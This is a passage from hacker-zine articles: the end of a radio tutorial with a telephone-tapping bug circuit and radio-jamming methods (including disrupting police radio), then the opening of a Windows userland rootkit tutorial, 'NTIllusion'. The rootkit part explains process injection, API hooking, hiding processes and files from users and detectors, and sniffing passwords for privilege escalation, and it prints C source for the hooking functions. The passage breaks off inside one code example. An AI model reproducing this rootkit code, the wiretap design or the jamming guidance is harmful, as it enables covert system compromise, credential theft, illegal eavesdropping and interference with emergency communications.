|| \\  //  \\  //  \\  --->  \  /\  /  --->       ||\\  /\\  //
||  \\\/    \\\/    \\        \/  \/              ||\\ //\\ //
                                                  ||\\// \\//
     RF Carrier            Modulating signal        FM signal

    The diagrams show that when the frequency of the modulating signal
increases, so does the given carrier frequency, and the opposite when
the modulating signal's frequency decreases. This is shown in the FM
signal diagram by the bands being spaced widely apart when the modulating
signal frequency is increasing, and more closely together when the
modulating signal's frequency is decreasing.

----[ 3.3 - Demodulation

    When an FM modulated carrier signal is detected by the receiver's
aerial wire, in order to recover the modulating signal, the FM modulation
must be reversed.

    Most modern FM radio receivers use a circuit called the 'phase-locked
loop', which is able to recover FM modulated radio signals by use of a VCO
(Voltage Controlled Oscillator), and a 'phase detector'. Below is the
system diagram of a PLL suitable for use in FM radio receivers.

    FM signal in -------------> Phase  ---------------
                                Detector             |
                                  |                  |
                                  |                  |
                                  |                  |
                                  |                  |
                                 VCO                 | 
                                            Modulating signal

    The above PLL is able to recover the modulating signal by having one
input to a phase detector as the modulated carrier, and the other input as
a VCO oscillating at the frequency of the RF carrier. The phase detector
'compares' the two frequencies, and outputs a low-power voltage relative to
the difference between the two 'phases', or frequencies. In essence, the
outputted voltage will be relative to the frequency by which the carrier's
frequency was shifted during modulation by the transmitter.  Therefore, the
output of the PLL, known as the 'phase error', is the recovered modulating
signal. In addition to being outputted from the small system, the voltage
is also given to the VCO as 'feedback', which it uses to 'track' the
modulation.  Acting upon the feedback received, the frequency of
oscillation is altered accordingly, and the process is repeated as

    In the past, less efficient and reliable circuits were used to
demodulate FM radio signals, such as the 'ratio detector'. Although the
'ratio detector' is less sophisticated than PLL methods, a functioning
ratio detector circuit is actually a little more complex than PLLs.

    It should be noted that superhet receivers, touched upon a little
earlier, can also be used as FM radio receivers, but their 'detectors' are
different to that of an AM superhet -- for example, a PLL circuit or ratio
detector discussed here could be used in conjunction with a superhet
receiver to make an FM radio. This is the method which is actually adopted
by most commercial radio receiver manufacturers.

----[ 3.4 - Circuits

------[ 3.4.1 - Transmitters

    The same general principles apply to FM radio transmitters as they do
to AM radio transmitters, except that information must be modulated in a
different way.  In AM radio transmitters, the carrier frequency is more or
less always constant.  However, in FM transmitters, the whole principle is
to alter the carrier frequency in small amounts. This means that a tuned
oscillator circuit is not appropriate, because we need to alter the
frequency accordingly, not transmit at one static frequency.  The method
used to overcome this problem is discussed a little later. A simple FM
transmitter schematic diagram is presented below.

  |                               |                 |    |      |      |
  |                               |                 |    |      |      )
  |                               )                |-|  --- C3  |      )
  |  R1                      L1   )             R3 | |  ---     |_ C4  )
 |-|                              )                |_|   |      | |    )
 | |                              )                 |    |      | ---  |
 |_|               |   Crystal    |         C2      |    |      | ---  | L2
  |_______________|||_____________|___________| |___|____|____|/   |   |
  |                              /            | |             |\___|___| 
  |____________| |_____________|/                                      |
  |            | |             |\  Q1                         Q2       |
  |                              |                                     |
  |            C1                |                                     |
  M                             |-|                                    |
  |                             | | R2                                 |
  |                             |_|                                    |
  |                              |                                     |

    When audio signals are produced by the microphone, current carrying
audio frequencies are amlified, and are used to modulate the radio
wave.  Since the microphone does this all for us, there is no need to
use modulation modules, ICs, or other technology.  In situations where
an elecret microphone is not available to do the modulation for us, a
varactor diode can be used to vary the capacitance in an oscillator
circuit, depending on the amplitude of a modulating signal.  This
varies the oscillation frequency of the oscillator circuit, thus
producing FM modulation.

--[ 4 - Misc

----[ 4.1 - Pirate Radio

    Pirate Radio stations are simply just radio stations ran by
individuals who are not licensed amateur radio enthusiasts.  Although
radio is actually a natural resource, it has been illegal for a
significant amount of time in some countries to transmit radio waves
on certain frequencies.  Although transmitting radio signals on
certain frequencies (around 27MHz) is legal in places like the UK,
strict FCC regulations kick in, almost limiting the threshold to
useless.  Because of this limitation, radio enthusiasts all around the
globe see fit to set up pirate radio stations, which they use for
their enjoyment, playing their favourite music tracks to the 'public',
and for a breeding ground for aspiring DJs.  Some 'pirate radio'
stations keep within the FCC terms, by transmitting at low-power.
These types of stations are often referred to as 'free radio', or
'micropower stations'.

    The legality of pirate radio stations is questionable, but varies from
country to country.  In some European Countries, you can be arrested
for just owning an unregistered transmitter.  In Ireland, prosecution
rarely takes place if registered radio stations are not affected, but
it is still illegal.  The US allows transmission of radio signals at
*microscopic* power, making the limitations almost useless for
unlicensed radio enthusiasts, thus causing them to resort to pirate

    Contrary to popular belief, setting up a pirate radio station is not
necessarily a difficult task.  At the minimum, someone wanting to
setup a pirate radio station would need the following pieces of

- Stereos, CD Players, Microphones, etc.
- Audio Amp
- Audio Mixer
- Transmitter
- Aerial

    Stations using only the above equipment can sometimes sound quite
crude, and might interfere with other legal radio stations.  To avoid
this, a 'compressor' can be used, which also limits the noise created
by sudden loud noises in the background.

    Although any of the example transmitters in this article probably
wouldn't be sufficient enough to transmit music audio signals over the
air, but they could be used as a starting point to building your own, more
efficient kit.  Additionally, FM and AM radio kits can be purchased,
which anyone with a soldering iron can build.

    The length and height of the antenna depends entirely on how far the
radio signals need to be transmitted.  By reading the previous
sections, some information on getting a correctly sized aerial can be
gained.  For example, a quick and dirty aerial for an AM pirate radio
station could be around 15-20 feet tall.

    To avoid being busted, it is probably a good idea to stay within the
legal power limits.  Otherwise, a Direction Finding device used by the
authorities could easily track down the exact location of the

----[ 4.2 -  Wireless Telephone Tapping

    'Beige boxing' has long been the easiest and most exploited way to tap
telephones, interrupt on neighbours conversations, and use enemies
phone lines to make long distance calls to your friend in Australia.
However, since beige boxing requires the phreak to lurk around like a
ninja, a safer method can be used, which doesn't require you to be
physically close to the target phone line.

    As expected, audio signals on a target phone line can be transmitted as 
radio signals at an arbitrary frequency, and be received by any phreak with 
an FM radio receiver.  Although this concept is not new, it serves as an 
interesting and useful project for radio newbies to try out.  Below is a 
simple FM phone bug transmitter circuit.

                  |                    |                                    |
                  |                    |                                    |
IN (green) ___.___|_______            |-|                                   |
              |   |       |           | |                                   |
              |  /\  LED  |           |_|                                   |
              |  ---     | |           |___| |      op-amp                  | 
              |   |   C1 | |           |   | |---|\                         |
              |   |       |__________|/      ____| >------- Aerial          |
IN (red) _____|___|                  |\ _____|___|/                         |
              |   |                    |     |   |                          |  
              |   |                    |     |   |                          |
OUT (green) __|   |                    (     |   |                          |
                 /\                    (     |  /\  varactor                |
                 ---                   (     |  ---                         |
                  |                    (     |   |                          |
OUT (red) ________|____________________|_____|___|__________________________|

- inductor should be about 8 turns of wire
- aerial should be about 5 inch long

    By interchanging the varator with a crystal, or by using a variable
capacitor, the frequency band on which the bug transmits line activity
could be changed accordingly.  The varactor making up part of the
oscillator circuit is intended to alter the frequency of oscillation,
depending on the audio signal inputted from the green wire of the
telephone line.  The varactor diode can be thought of as an
electrically variable capacitor, which in this case alters its
capacitance in sympathy with the audio frequency on the telephone
line -- causing for change of oscillation frequency, and thus
frequency modulation.  
    The following op-amp provides additional strength to the
signal, in an attempt to avoid a weak, unreliable signal.  For
user-friendly purposes, the LED connecting to the red wire of the line
pair should illuminate when a signal is present on the line.

    The above circuit can be modified to be made more efficient, and a
longer aerial is an obvious way of lengthening the range of
transmission.  If a phreak was to contruct and use a device like this,
all they would need is an FM radio to tune into the correct
frequency.  There are much better designs than the minimalistic one
above -- if a practical FM telephone bug is required, many plans are

----[ 4.3 - Jamming

    Technically, all it takes to carry out 'radio jamming' is to transmit
noise at a desired frequency.  For example, if a person in the UK were
to transmit RF noise at 30MHz+, police radio communications could
possibly disrupted.  Although the principles are mostly the same,
there are several different types of jamming.

- modulated jamming
  This consists of mixing different types of modulation, and
  transmitting the results at a desired radio frequency.  This is
  designed to make receiving legimate radio signals hard or next to

- CW (continuous wave)
  CW jamming only involves transmitting a consistant carrier frequency
  once tuned into a RF frequency/band you want to jam.  This again makes
  receiving desired radio signals particuarly hard.

- Broadband
  Broadband jammers spread Gaussian noise across a whole band of audio
  frequencies, blocking legimate audio signals from easy receival.

    A basic radio transmitter is easily modifiable, by adding a noise
generator, to successfully jam arbitrary frequency bands.  Many other
types of radio jammers exist, and their details are readily available
on the World Wide Web.

--[ 5 - Conclusion

    Radio is an extremely useful technology, which is at least as old as
the atom.  But we are only just beginning to exploit its full
usefullness in even new and up and coming technology, and probably
will do for the next few hundred years.

    As we've discovered, contrary to popular belief, employing the use of
radio in electronic circuits isn't at all as complicated as one would
think.  Because of this, the use of radio and be both used and
exploitfully abused -- only a few basic principles need to be
understood to make use of this wonderful technology.  Although the
surface has only been scratched, and way forward is open.

--[ 6 - Bibliography

Phrack 60
Low Cost and Portable GPS Jammer

The Art of Electronics

Updates to the article:


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3e, Phile #0x0c of 0x10

|=---------=[  NTIllusion: A portable Win32 userland rootkit  ]=--------=|
|=------------------=[  Kdm <>  ]=------------------=|

This paper describes how to build a windows user land rootkit. The first
part deal with the basis and describe a few methods to show how code
injection and code interception are possible, while the rest of the paper
covers the strategy that makes stealth possible in userland. A bigger
version of the paper is also available at [1] so that novice peoples can
refer to a preliminary article about injection and interception basics.

Table of contents

1. Introduction
2. Code Injection and interception
	2.1. System Hooks
	2.2. CreateRemoteThread
	2.3. Manipulating thread's context
	2.4. Redirecting the Import Address Table
	2.5. Inserting an unconditional jump (jmp)
3. User land take over
	3.1. User land vs Kernel land rootkits
	3.2. Restrictions...
	3.3. ...and constraints
	3.4. Setting a global hook to take over userland
	3.5. Local application take over
4. Replacement functions
	4.1. Process hiding
	4.2. File hiding
	4.3. Registry
	4.4. Netstat like tools.
	     4.4.1. The case of windows 2000
	 Hooking GetTcpTable
	 Defeating netstat
	 Defeating Fport
	     4.4.2. The case of windows XP
	4.5. Global TCP backdoor / password grabber
	4.6. Privilege escalation
	4.7. Module stealth
5. Ending
	5.1. Conclusion
	5.2. Greets
6. References

-------[ 1. Introduction
  A rootkit is a program designed to control the behavior of a given 
machine. This is often used to hide the illegitimate presence of a 
backdoor and others such tools. It acts by denying the listing of certain 
elements when requested by the user, affecting thereby the confidence that
the machine has not been compromised. 

There are different kinds of rootkits. Some act at the very bases of the 
operating system by sitting in kernel land, under the privileged ring 0 
mode. Some others run under lower privileges in ring 3 and are called user 
land rootkits, as they target directly the user's applications instead of 
the system itself. These ring 3 rootkits have encountered a recrudescence 
the last years since it is somewhat more portable and polyvalent than ring 
0 ones.
As there are multiple ways to stay unseen under windows, this article
performs a windows rootkitting tutorial based on a strong implementation
called the [NTillusion rootkit] which fits maximum constraints.

This rootkit has been designed to be able to run under the lowest 
privileges for a given account under windows. Indeed, it doesn't use any 
administrative privilege to be able to perform its stealth as it resides 
directly inside processes that are owned by the current user. In a word, 
all the ring 3 programs that a user might use to enumerate files, 
processes, registry keys, and used ports are closely controlled so they 
won't reveal unwanted things. Meanwhile, the rootkit silently waits for 
passwords, allowing the load of any device driver as soon as an 
administrator password is caught.

How does this works?
All this stuff is done in two steps. First, by injecting the rootkit's 
code inside each application owned by the current user and finally, by 
replacing strategic functions by provided ones. Theses tricks are 
performed at run time against a running process rather than on hard disk 
on binaries since it allows to work around the windows file protection, 
antiviral and checksum tools as well. The rootkit has been tested 
successfully under windows 2000/XP, but may also run on older NTs. It's
architecture allows it to be ported to windows 9x/Me but some functions
are missing (VirtualAllocEx) or behave abnormally (CreateRemoteThread) on
this version of the OS.

This introduction would not have been achieved without comments about the 
different sections of the paper that present each special characteristics.
Section 3 deals about user land take over. This mechanism has already been
presented by Holy_Father in [HIDINGEN]. However it is here done in a 
different way. In fact, the rootkit acts globally a level higher so things
are changed and it results in a somewhat simpler but efficient spreading
method. And contrary to Hacker Defender ([HKDEF_RTK]), NTillusion does not
need the administrative privilege. So the approach I propose is different.
This approach is also different when speaking about the way functions are
chosen and replaced.
This is the case with section 4 which introduces an uncommon way to 
replace original functions. On one hand, the functions are most of the time
replaced at kernel level. So, I hope this paper shows that performing a
good stealth is possible also in userland. On the other hand when thinking
about API replacement, people try to dig as much as possible in order to
hook at the lowest level. This is sometimes a good thing, sometimes not.
This is especially true with portability, which suffers from this run to
low level. NTillusion replaces top level APIs as often as possible.
As windows designers want programs that rely on the documented API to be
portable from one windows version to another, and as the rootkit hijacks
critical functions among this documented API, portability is accrued.
Thereby there's no need to perform OS version check and it results in a
more universal rootkit. Added to that, this section offers a new way for
privilege escalation by showing how hooking the POP3/FTP traffic is
possible in order to get login and passwords. 

This is not the only new thing: section 4.7 offers a new way to hide a DLL
loaded inside a given process. Usually, this would have been done by
hooking modules enumeration APIs inside the memory space of each process
able to reveal the rootkit. However I show how this is possible to do this
by dealing directly with undocumented structures pointed by the Process
Environment Block. Once this has been done, there's not need to worry
about subsequent detection. To test this method I downloaded a rootkit
detector, [VICE], and scaned my system. With no rootkit loaded, VICE
produced most of the time some false positive for standart DLLs (kernel32/
ntdll/...). Once the rootkit was loaded and using this technique, there
was no noticable change and VICE was still accusing some system DLLs to be
rootkits as before but there was no record about kNTIllusion.dll that was
however doing the job efficiently. 

-------[ 2. Code Injection and interception
The goal of this section is to allow a process to replace the functions
of another. This involves getting control of the target process, then
to replace parts of it's memory carefully. Let's begin with code injection.
So altering the behavior of a process requires to break into it's memory 
space in order to execute some code to do the job. Fortunately, windows 
perfors checks to prevent an application to read or write memory of an 
other application without its permission. Nevertheless the windows 
programmers included several ways to bypass the native inter-process 
protection so patching other processes' memory at runtime is a true 
possibility. The first step in accessing a running process is done trough 
the OpenProcess API. If the application possesses the correct security 
permissions, the function returns a handle to deal with the process, in 
the other case, it denies access. By triggering a proper privilege, a user 
may get access to a privilegded process as we'll see later. In Windows NT, 
a privilege is some sort of flag granted to a user that allows the user to
override what would normally be a restriction to some part of the
operating system. This is the bright side. But unfortunately there is
also a seamy side. In fact there's multiple ways to break into the memory
space of a running process and running hostile code in it, by using 
documented functions of the windows API. The following methods have
already been covered in the past so I will only give an overview.

-------[ 2.1. System Hooks
The most known technique uses the SetWindowsHookEx function which sets a 
hook in the message event handler of a given application. When used as a 
system hook, i.e. when the hook is set for the whole userland, by relying 
on a code located in a dll, the operating system injects the dll into each 
running process matching the hook type. For example, if a WH_KEYBOARD hook 
is used and a key is pressed under notepad, the system will map the hook's 
dll inside notepad.exe memory space. Easy as ABC... For more information
on the topic, see [HOOKS] and [MSDN_HOOKS]. Hooks are most of the time
used for developping pacthes or automating user manipulations but the
following method is from far more eloquent.

-------[ 2.2. CreateRemoteThread
Another gift for windows coders is the CreateRemoteThread API. As its name 
points out, it allows the creation of a thread inside the memory space of 
a target process. This is explained by Robert Kuster in [3WAYS]. 
When targeting a process running in a more privileged context, a rootkit
may acquire God Power by activating the SeDebugPrivilege. For more
information see the rootkit code. [NTillusion rootkit]
Although this method seems interesting, it is from far widespread and easy 
to defeat using a security driver. See also [REMOTETH] for other info.
More over, any injected DLL with this method will be easily noticed by
any program performing basic module enumeration. Section 4.7 offers a 
solution to this problem, while the following section presents a less
known way to run code inside a target process.

-------[ 2.3. Manipulating thread's context
CreateRemoteThread isn't the only debugging API that may be used to 
execute code into a target process. The principle of the following 
technique is to reroute a program's execution flow to malicious code 
injected in the program's memory space. This involves three steps. 
First, the injector chooses a thread of this process and suspends it. 
Then, it injects the code to be executed in the target process memory as 
before, using VirtualAllocEx/WriteProcessMemory, and changes a few 
addresses due to changes in memory position. Next, it sets the address of 
the next instruction to be executed for this thread (eip register) to 
point to the injected code and restarts the thread. The injected code is 
then executed in the remote process. Finally it arranges for a jump to the 
next instruction that should have been executed if the program had 
followed its normal course, in order to resume its activity as soon as 
possible. The idea of manipulating the thread's context is exposed in
[LSD]. Other methods also exist to trigger the load of a given DLL inside
the memory space of a target process.
By design, the HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\Current 
Version\Windows\AppInit_DLLs key gathers the DLL to be loaded by the 
system inside each process relying on user32.dll. Added to that come the 
BHO, standing for browser help objects, that act as plugins for web-
browsers, enabling the load of any sort of code.

But just taking over a process is not enough...
Once the target process' memory space is under control, it's possible
to replace its own functions by provided ones.
Code interception routines are critical since they had to meet efficiency 
and speed requirements. The methods presented in this section have their 
own advantages and drawbacks. As for the injection techniques, there's 
more than one way to do the job. The goal of the methods is to redirect 
another program's function when it is loaded in memory. For the target 
program, everything takes place as if it had called the desired functions 
as usual. But in fact the call is redirected to the replacement API.
Some methods of API interception are based on features intentionally 
provided by the designers of the PE format to simplify the loader's task 
when a module is mapped into memory. The function redirection takes place 
once the code we inject into the target process is executed. To understand 
how these methods work, a thorough understanding of the PE format is 
needed; see [PE] and hang on with courage, the following methods are 

-------[ 2.4. Redirecting the Import Address Table
After injecting our code into the application's memory space, it is 
possible to change its behavior. We use a technique called "API hooking" 
which involves replacing the API by our own routines. The most common way 
to do this is to alter the import address table of a given module.
When a program is executed, its various zones are mapped into memory, and 
the addresses of the functions it calls are updated according to the 
windows version and service pack. The PE format provides a clever solution 
to do this update, without patching every single call. When you compile 
your program, each call to an external API is not directly pointing to the 
function's entry point in memory. It is using a jump involving a dword 
pointer, whose address is among a table called the Import Address Table 
(IAT), since it contains the address of each imported function. At load 
time, the loader just needs to patch each entry of the IAT to modify the 
target of each call for all API.
Thus, to hijack, we simply patch the IAT to make the memory point to our 
code instead of the true entry point of the target API. In this way, we 
have total control over the application, and any subsequent calls to that 
function are redirected. This general idea of the technique which is
detailed more in [IVANOV] and [UNLEASHED]. But hooking at IAT level is
from far a non secure way. Undirect Call may be missed. To prevent this,
there's only one solution... inserting an unconditional jump!

-------[ 2.5. Inserting an unconditional jump (jmp)
This technique involves modifying the machine code of a given API so that 
it executes an unconditional jump to a replacement function. Thus any call 
 direct or indirect  to the hooked API will inevitably be redirected to 
the new function. This is the type of function redirection used by the 
Microsoft Detours Library [DETOURS]. In theory, redirection by inserting 
of an unconditional jump is simple: you simply locate the entry point of 
the API to be hijacked an insert an unconditional jump to the new 
function. This technique make us lose the ability to call the original 
API, however; there are two ways to work around that inconvenience.
The first is the method used in the famous hxdef rootkit, or Hacker 
Defender which is now open source [HKDEF_RTK]. The idea is to insert an 
unconditional jump while saving the overwritten instruction in a buffer 
zone. When the original API must be called, the redirection engine 
restores the real API, calls it, then repositions the hook. The problem 
with this technique is that it is possible to lose the hook. If things go 
wrong, there is a chance that the hook will not be restored when exiting 
the API. An even bigger risk is that another thread of the application may 
access the API between the time it is restored and the time when the hook 
is repositioned. Thus, as its creator Holy_Father knows, there is a chance 
that some calls may be lost when using this method.

However, there is another solution for calling the original API. It 
involves creating a buffer containing the original version of the API's 
modified memory zone, followed by a jump to and address located 5 bytes 
after the start of the zone. This jump allows to continue the execution of 
the original function just after the unconditional jump that performs the 
redirection to the replacement function. It seems simple?

No, it isn't. One detail that I voluntarily left out until now: the 
problem of disassembling instructions. In machine code, instructions have
a variable length. How can we write an unconditional five-byte jump while
being sure not to damage the target code ("cutting an instruction in
half")? The answer is simple: in most cases we just use a basic 
disassembly engine. It allows to recover as many complete instructions as
required to reach the size of five bytes, i.e. the area just big enough
the insert the unconditional jump. The useful redirection engine used in
the rootkit is the one created by Z0MbiE (see [ZOMBIE2]).
This hooking method, somewhat particular has been covered by Holy_Father.
Refer to [HKDEF] if you are interested.
Hum, That's all folks about prerequisite. Now we're going to consider how
to build a win32 rootkit using these techniques. Le'ts play!

-------[ 3. User land take over
-------[ 3.1 User land vs Kernel land rootkits
Most of the time, to achieve their aim kernel land rootkits simply replace 
the native API with some of their own by overwriting entries in the 
Service Descriptor Table (SDT). Against a normal windows system, they 
don't have to worry about persistence as once the hook is set, it will 
hijack all subsequent calls for all processes. This isn't the case for 
win32 ring 3 rootkits, acting at user level. In fact, the hook isn't 
global as for kernel ones, and the rootkit must run its code inside each 
process able to reveal its presence.
Some decide to hook all processes running on the machine including those 
of the SYSTEM groups. It requires advanced injection techniques, hooking 
methods and to target API at very low level. 
Let me explain. Consider we want some directories not to be noticed when 
browsing the hard drive using explorer. A quick look at explorer.exe's 
Import Table reveals that it is using FindFirstFileA/W and FindNextFileA/W 
So we may hook these functions. At first it seems tedious to hook all 
these functions rather than going a level under. Yeah, these functions 
rely on the native API ntdll.ZwQueryDirectoryFile, it would be easier to 
hook this one instead. This is true for a given version of windows. But 
this isn't ideal for compatibility. The more low level the functions are, 
the more they're subject to change. Added to that, it is sometimes 
undocumented. So on the one hand, there's hijacking at low level, more 
accurate but somewhat hazardous, and on the other hand, hijacking at high 
level, less accurate, but from far simpler to set up.

NTillusion hijacks API at high level since I never designed it to reside 
into system processes. Each choice has a bright side and a seamy side.
The following points describe the restrictions I wanted the rootkit to fit 
and the constraints windows imposes to processes.

-------[ 3.2 Restrictions...
The rootkit is made to be able to perform its stealth for the current user 
on the local machine. This is especially designed for cases where 
administrator level is unreachable for some reason. This shows that 
getting root is sometimes not necessary to be lurking. It represents a 
true threat in this case, since windows users have the bad habit to set 
their maximum privilege on their account instead of triggering it using 
runas to become admin only when needed. So, if the user is not currently 
admin, he probably isn't at all, so a user land rootkit will perfectly do 
the job. Otherwise, it's time to go kernel mode.
Thus, the rootkit is designed to only require privileges of the current 
user to become unseen to its eyes, whether this is an admin or not. Then 
it starts waiting for passwords collected by users using the runas method, 
allowing privilege escalation. It may also spy web traffic to dynamically 
grab pop3/ftp passwords on the fly. This is possible but a little bit too 

-------[ 3.3 ...and constraints
As you should now know, windows maintains a native inter-process 
protection so a process won't access another if this one doesn't belong to 
its group or does not present the administrator nor debug privilege. So 
the rootkit will be restrained to affect processes of the current user. 
Contrariwise, if it got admin privilege, it may add itself to the 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run key and 
hide its presence, being then active for all users on the machine.
Due to the rootkit architecture, privileged processes will be able to see 
the system as it really is. So remote administration may reveal the 
rootkit, as much as FTP or HTTP servers running as services. The solution 
of this problem is to affect also system processes but the task is 
somewhat desperate and too considerable to just play the game of cat and 

-------[ 3.4 Setting a global hook to take over userland
To be efficient, the rootkit must run under all visible applications that 
may reveal unwanted presence. Performing an injection try for each running 
process when the rootkit loads is not a good idea since it won't affect 
processes that would be run later. A perfect way to achieve this is to set 
a system wide hook, using SetWindowsHookEx for WH_CBT events. Therefore, 
the rootkit's dll will be injected into all running graphical processes, 
as soon, as they appear on screen. Unfortunately, the WH_CBT concerns only 
processes using user32.dll, therefore it won't affect some console 
programs. This is the case of windows cmd, netstat, and so on. Thereby, 
the rootkit must also affect processes so that it will be notified and 
injected when a process creation is about to be done. This is achieved by 
hooking the CreateProcessW function into all injected processes. This way, 
the rootkit will be running inside any newly created process. The 
CreateProcessW replacement and the system hook are complementary methods. 
This combination perfectly covers all situations : the execution of a 
graphical or console process from explorer, the taskmanager or any other 
application. It also has the advantage to inject the rootkit into the 
taskmanager when the user triggers Ctrl+Alt+Del. In this case, the 
taskmanager is created by winlogon which isn't hijacked by the rootkit. 
But the system hook is injected into as soon as it is created, since it is 
a graphical process. To prevent a process from being injected twice, the 
rootkit modifies pDosHeader->e_csum to be equal to NTI_SIGNATURE. When the 
Dll is loaded it first checks the presence of this signature and exits 
properly if needed. This is only a safety since a check is performed in 
DllMain to be sure that the reason DllMain is called matches 
DLL_PROCESS_ATTACH. This event only triggers when the DLL is first mapped 
inside the memory space of the application, while subsequent calls to 
LoadLibrary will only increase load counter for this module and be marked 

The following code is the CreateProcessW replacement of the NTIllusion 
rootkit. It contains a backdoor by design: if the application name or its 
command line contains RTK_FILE_CHAR, the process is not hooked, thus 
allowing some programs not to be tricked by the rootkit. This is useful to 
launch hidden processes from windows shell that performs a search before 
delegating the creation of the process to CreateProcessW.

----------------------   EXAMPLE 1   -----------------------------
BOOL WINAPI MyCreateProcessW(LPCTSTR lpApplicationName, 
LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, 
DWORD dwCreationFlags, LPVOID lpEnvironment, 
LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, 
	int bResult, bInject=1;
	char msg[1024], cmdline[256], appname[256];

/* Resolve CreateProcessW function address if it hasn't been filled 
by IAT hijack. This happens when the function isn't imported at IAT 
level but resolved at runtime using GetProcAddresss. */

        fCreateProcessW = (FARPROC) 
		if(!fCreateProcessW) return 0;

	/* Clear parameters */
	my_memset(msg, 0, 1024);
	my_memset(cmdline, 0, 256);
	my_memset(appname, 0, 256);

	/* Convert application name and command line from unicode : */
	WideCharToMultiByte(CP_ACP, 0,(const unsigned short *)
	  lpApplicationName, -1, appname, 255,NULL, NULL);
	WideCharToMultiByte(CP_ACP, 0,(const unsigned short *)
	  lpCommandLine, -1, cmdline, 255,NULL, NULL);

	/* Call original function first, in suspended mode */
	bResult = (int) fCreateProcessW((const unsigned short *)
	                (unsigned short *)lpCommandLine, lpProcessAttributes, 
	                lpThreadAttributes, bInheritHandles, CREATE_SUSPENDED 
	                /*dwCreationFlags*/, lpEnvironment, 
                    (const unsigned short*)lpCurrentDirectory, 
                    (struct _STARTUPINFOW *)lpStartupInfo, 
	/* inject the created process if its name & command line don't
   contain RTK_FILE_CHAR */
		(lpCommandLine && strstr((char*)cmdline,(char*)RTK_FILE_CHAR)) || 
		(lpApplicationName && strstr((char*)appname,(char*)RTK_FILE_CHAR)) 
			OutputString("\n[i] CreateProcessW: Giving true sight to 
			process '%s'...\n", (char*)appname);
			bInject = 0;

	return bResult;
---------------------- END EXAMPLE 1 -----------------------------

Note that the child process is created in suspended mode, then injected by 
the Dll using CreateRemoteThread. The DLL hook function next wakes the 
current process up by resuming all its threads. This assures that the 
process has not executed a single line of its own code during the hijack 

-------[ 3.5 Local application take over
Being injected into all processes in the system is the first step to take 
the ownership of user land. When being able to act anywhere, it must keep 
its control and prevent any newly loaded module to escape the function 
hooking that has been set in order to hide unwanted things. So it is 
strongly recommended to filter calls to LoadLibraryA/W/Ex in order to hook 
modules as soon as they are loaded into memory. The following function 
demonstrates how to replace LoadLibraryA in order to prevent hooking 

----------------------   EXAMPLE 2   -----------------------------
/* LoadLibrary : prevent a process from escaping hijack by loading a new 
dll and calling one of its functions */
	HINSTANCE hInst	= NULL;	/* DLL handle (by LoadLibrary)*/
	HMODULE   hMod	= NULL;	/* DLL handle (by GetModuleHandle) */
	char	 *lDll = NULL;		/* dll path in lower case */
	/* get module handle */
	hMod = GetModuleHandle(lpLibFileName);

	/* Load module */
	hInst = (HINSTANCE) fLoadLibrary(lpLibFileName);

	/* Everything went ok? */
		/*  If the DLL was already loaded, don't set hooks a second
		    time */ 
			/* Duplicate Dll path to perform lower case comparison*/
			lDll = _strdup( (char*)lpLibFileName );
				goto end;
			/* Convert it to lower case */
			/* Call hook function */
			SetUpHooks((int)NTI_ON_NEW_DLL, (char*)lDll);

  return hInst;
---------------------- END EXAMPLE 2 -----------------------------

As the hijacking method used is entry point rewriting, we must check that 
the DLL has not been yet loaded before performing the hooking. Otherwise, 
this may trigger an infinite loop when calling the original function. The 
job is partially done by SetUpHooks that will perform the hooking on 
already loaded module only at program startup.

About GetProcAddress:
At first NTillusion rootkit was using an IAT hijacking method in order to 
replace file, process, registry and network APIs to perform its stealth. 
Under winXP, all worked perfectly. But when I tested it under win2000 I 
noticed a unusual behaviour in explorer's IAT. In fact, the loader doesn't 
fill the IAT correctly for a few functions such as CreateProcessW, so the 
address written doesn't always correspond to the API entry point 
[EXPLORIAT]. Scanning the IAT looking for API name instead of it's address 
does not solve the problem. It seems that explorer is performing something 
strange... So I moved from an IAT hijacking engine needing to hook 
GetProcAddress in order to prevent hook escape, to the unconditional jump 
insertion that does not need to filter calls to this API. Anyway, you can 
try to hijack GetProcAddress and send the details of each call to debug 
output. The amount of GetProcAddress calls performed by explorer is 
amazing and its study, instructive.

-------[ 4. Replacement functions
Here comes the most pleasant part of the NTIllusion rootkit, i.e. the core 
of the replacement functions.

-------[ 4.1. Process hiding
The main target when speaking about process hiding is the taskmanager. 
Studying its Import Table reveals that it performs direct calls to 
ntdll.NtQuerySystemInformation, so this time, hijacking API at higher 
level is useless and the situation leaves no choice. The role of the 
replacement function is to hide the presence of each process whose image 
name begins with RTK_PROCESS_CHAR string. Retrieving the processes list is 
done through a call to the [NtQuerySystemInformation] API.

NTSTATUS NtQuerySystemInformation(
  SYSTEM_INFORMATION_CLASS SystemInformationClass,
  PVOID SystemInformation,
  ULONG SystemInformationLength,
  PULONG ReturnLength

The NtQuerySystemInformation function retrieves various kinds of system 
information. When specifying SystemInformationClass to be equal to 
SystemProcessInformation, the API returns an array of SYSTEM_PROCESS_
INFORMATION structures, one for each process running in the system. These 
structures contain information about the resource usage of each process, 
including the number of handles used by the process, the peak page-file 
usage, and the number of memory pages that the process has allocated, as 
described in the MSDN. The function returns an array of 
SYSTEM_PROCESS_INFORMATION structures though the SystemInformation 

Each structure has the following layout: 
    DWORD          NextEntryDelta; 
    DWORD          dThreadCount; 
    DWORD          dReserved01; 
    DWORD          dReserved02; 
    DWORD          dReserved03; 
    DWORD          dReserved04; 
    DWORD          dReserved05; 
    DWORD          dReserved06; 
    FILETIME       ftCreateTime;	/* relative to 01-01-1601 */ 
    FILETIME       ftUserTime;		/* 100 nsec units */ 
    FILETIME       ftKernelTime;	/* 100 nsec units */ 
    UNICODE_STRING ProcessName; 
    DWORD          BasePriority; 
    DWORD          dUniqueProcessId; 
    DWORD          dParentProcessID; 
    DWORD          dHandleCount; 
    DWORD          dReserved07; 
    DWORD          dReserved08; 
    DWORD          VmCounters; 
    DWORD          dCommitCharge; 
Hiding a process is possible by playing with the NextEntryDelta member of
the structure, which represents an offset to the next SYSTEM_PROCESS_
INFORMATION entry. The end of the list is marked by a NextEntryDelta equal
to zero.

----------------------   EXAMPLE 3   -----------------------------
/*		MyNtQuerySystemInformation : install a hook at system query 
level to prevent _nti* processes from being shown.
Thanks to R-e-d for this function released in rkNT rootkit.
(error checks stripped)
